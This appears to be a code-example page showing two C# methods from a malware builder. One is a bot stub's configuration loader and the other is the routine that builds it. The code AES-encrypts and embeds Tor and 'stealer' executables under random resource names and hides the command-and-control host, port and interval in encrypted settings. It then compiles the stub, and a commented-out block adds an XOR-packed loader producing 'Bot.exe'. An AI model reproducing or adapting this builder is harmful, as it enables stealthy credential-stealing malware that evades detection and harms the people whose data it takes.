Esempio n. 1
0
        public CConfig()
        {
#if DEBUG
            Host     = "127.0.0.1";
            Port     = 81;
            Interval = 1 * 60000;
#else
            AES_Key = "{AES_KEY_HERE}";

            CAES AES = new CAES(AES_Key);

            string[] arr_strSettings = AES.Decrypt("{SETTINGS_HERE}").Split('|');

            /*
             * [0] = Host
             * [1] = Port
             * [2] = Interval
             */
            Host = arr_strSettings[0];
            if (!int.TryParse(arr_strSettings[1], out this.Port))
            {
                return;
            }
            if (!int.TryParse(arr_strSettings[2], out this.Interval))
            {
                return;
            }
            this.Interval *= 60000;

            try
            {
                ResourceManager rmManager = new ResourceManager("{RAND_RES_NAME}", Assembly.GetExecutingAssembly());
                Tor_Binary     = AES.Decrypt((byte[])rmManager.GetObject("{RAND_TOR_NAME}"));
                Stealer_Binary = AES.Decrypt((byte[])rmManager.GetObject("{RAND_STEALER_NAME}"));
                rmManager.ReleaseAllResources();
            }
            catch
            {
                Environment.Exit(0);
            }
#endif
        }
Esempio n. 2
0
        public bool BuildBin()
        {
            if (!File.Exists("tor.exe"))
            {
                MessageBox.Show("Tor doesnt exist.");
                return(false);
            }

            try
            {
                String[] arr_strStub = this.ReadCode("Stub");

                if (arr_strStub == null)
                {
                    return(false);
                }

                String strAESKey = CUtils.RandomString(CUtils.RandomInt(12, 24));

                if (OnLog != null)
                {
                    OnLog.Invoke("Compiling Stub...");
                }

                Byte[] arr_bTorBuffer, arr_bStealerBuffer = null;

                //Read Tor structure in-to array.
                arr_bTorBuffer = File.ReadAllBytes("tor.exe");

                CAES AES = new CAES(strAESKey);

                //Encrypt Tor structure
                arr_bTorBuffer = AES.Encrypt(arr_bTorBuffer);

                //Read Stealer structure in-to array
                arr_bStealerBuffer = File.ReadAllBytes("stealer.exe");

                //Encrypt Stealer structure
                arr_bStealerBuffer = AES.Encrypt(arr_bStealerBuffer);

                String strRandResName, strRandTorName, strRandStealerName;

                strRandResName     = CUtils.RandomString(CUtils.RandomInt(15, 32));
                strRandTorName     = CUtils.RandomString(CUtils.RandomInt(15, 32));
                strRandStealerName = CUtils.RandomString(CUtils.RandomInt(14, 32));

                using (ResourceWriter rwWriter = new ResourceWriter(String.Format("{0}.resources", strRandResName)))
                {
                    rwWriter.AddResource(strRandTorName, arr_bTorBuffer);
                    rwWriter.AddResource(strRandStealerName, arr_bStealerBuffer);
                }

                for (int i = 0; i < arr_strStub.Length; i++)
                {
                    if (arr_strStub[i].Contains("{SETTINGS_HERE}"))
                    {
                        string strSettings = AES.Encrypt(string.Format("{0}|{1}|{2}", m_strHost, m_strPort, m_iInterval));

                        arr_strStub[i] = arr_strStub[i].Replace("{SETTINGS_HERE}", strSettings);

                        arr_strStub[i] = arr_strStub[i].Replace("{AES_KEY_HERE}", strAESKey);

                        arr_strStub[i] = arr_strStub[i].Replace("{RAND_RES_NAME}", strRandResName);
                        arr_strStub[i] = arr_strStub[i].Replace("{RAND_TOR_NAME}", strRandTorName);
                        arr_strStub[i] = arr_strStub[i].Replace("{RAND_STEALER_NAME}", strRandStealerName);
                        arr_strStub[i] = arr_strStub[i].Replace("{MUTEX_HERE}", CUtils.RandomString(16));
                    }

                    /*if (arr_strStub[i].Contains("{HOST_HERE}"))
                     * {
                     *  arr_strStub[i] = arr_strStub[i].Replace("{HOST_HERE}", m_strHost);
                     *  arr_strStub[i] = arr_strStub[i].Replace("{PAGE_HERE}", m_strPage);
                     *  arr_strStub[i] = arr_strStub[i].Replace("{INTERVAL_HERE}", m_iInterval.ToString());
                     *  arr_strStub[i] = arr_strStub[i].Replace("{XOR_KEY}", strXorKey);
                     *  arr_strStub[i] = arr_strStub[i].Replace("{RAND_RES_NAME}", strRandResName);
                     *  arr_strStub[i] = arr_strStub[i].Replace("{RAND_TOR_NAME}", strRandTorName);
                     *  arr_strStub[i] = arr_strStub[i].Replace("{RAND_STEALER_NAME}", strRandStealerName);
                     * }*/
                }

                if (CCompiler.CompileFromSource(arr_strStub, "Stub.exe", m_bIsDebug, null, new string[] { String.Format("{0}.resources", strRandResName) }))
                {
                    if (OnLog != null)
                    {
                        OnLog.Invoke("Stub compiled.");
                    }

                    /*String strPayloadKey = CUtils.RandomString(CUtils.RandomInt(12, 24));
                     *
                     * byte[] arr_bStub = CUtils.Compress(CUtils.XorCrypt(File.ReadAllBytes("Stub.exe"), strPayloadKey));
                     *
                     * using (ResourceWriter rwWriter = new ResourceWriter("res.resources"))
                     * {
                     *  rwWriter.AddResource("payload", arr_bStub);
                     * }
                     *
                     * String[] arr_strLoader = this.ReadCode("Loader");
                     *
                     * for (int i = 0; i < arr_strLoader.Length; i++)
                     * {
                     *  if (arr_strLoader[i].Contains("{XOR_KEY}")) arr_strLoader[i] = arr_strLoader[i].Replace("{XOR_KEY}", strPayloadKey);
                     * }
                     *
                     * //File.Delete("Stub.exe");
                     *
                     * if (OnLog != null) OnLog.Invoke("Compiling Loader...");
                     * if (CCompiler.CompileFromSource(arr_strLoader, "Bot.exe", null, new string[] { "res.resources" }))
                     * {
                     *  if (OnLog != null) OnLog.Invoke("Loader compiled.");
                     *  return true;
                     * }*/
                    return(true);
                }
                else
                {
                    if (OnLog != null)
                    {
                        OnLog.Invoke("Compilation failed.");
                    }
                }
            }
            catch { }
            return(false);
        }